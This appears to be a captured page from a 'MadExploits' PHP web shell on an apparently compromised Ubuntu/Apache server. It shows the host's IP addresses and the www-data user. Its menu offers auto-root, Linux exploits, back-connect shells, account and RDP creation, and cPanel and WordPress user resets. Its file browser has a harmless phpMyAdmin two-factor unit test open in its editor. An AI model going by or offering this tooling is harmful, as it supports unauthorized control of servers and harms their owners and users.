Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.14.134.62
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
Auth
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Schema
[ DIR ]
drwxr-xr-x
Transformations
[ DIR ]
drwxr-xr-x
TwoFactor
[ DIR ]
drwxr-xr-x
AuthenticationPluginFactoryTes...
2.46
KB
-rw-r--r--
AuthenticationPluginTest.php
1.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AuthenticationPluginTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Plugins; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Exceptions\ExitException; use PhpMyAdmin\Http\Factory\ServerRequestFactory; use PhpMyAdmin\Plugins\AuthenticationPlugin; use PhpMyAdmin\ResponseRenderer; use PhpMyAdmin\Tests\AbstractTestCase; use PHPUnit\Framework\Attributes\CoversClass; use ReflectionProperty; #[CoversClass(AuthenticationPlugin::class)] final class AuthenticationPluginTest extends AbstractTestCase { public function testCheckTwoFactor(): void { $GLOBALS['lang'] = 'en'; $dbiDummy = $this->createDbiDummy(); $dbiDummy->addResult('SHOW TABLES FROM `phpmyadmin`;', [['pma__userconfig'], ['Tables_in_phpmyadmin']]); $dbiDummy->addSelectDb('phpmyadmin'); $dbi = $this->createDatabaseInterface($dbiDummy); DatabaseInterface::$instance = $dbi; $object = new class extends AuthenticationPlugin { public function showLoginForm(): void { } public function readCredentials(): bool { return false; } }; $_SESSION['two_factor_check'] = false; (new ReflectionProperty(ResponseRenderer::class, 'instance'))->setValue(null, null); $responseRenderer = ResponseRenderer::getInstance(); $responseRenderer->setAjax(false); $request = ServerRequestFactory::create()->createServerRequest('GET', 'http://example.com/'); $object->user = 'test_user'; try { $object->checkTwoFactor($request); } catch (ExitException) { } $response = $responseRenderer->response(); self::assertStringContainsString( 'You have enabled two factor authentication, please confirm your login.', (string) $response->getBody(), ); } }
Close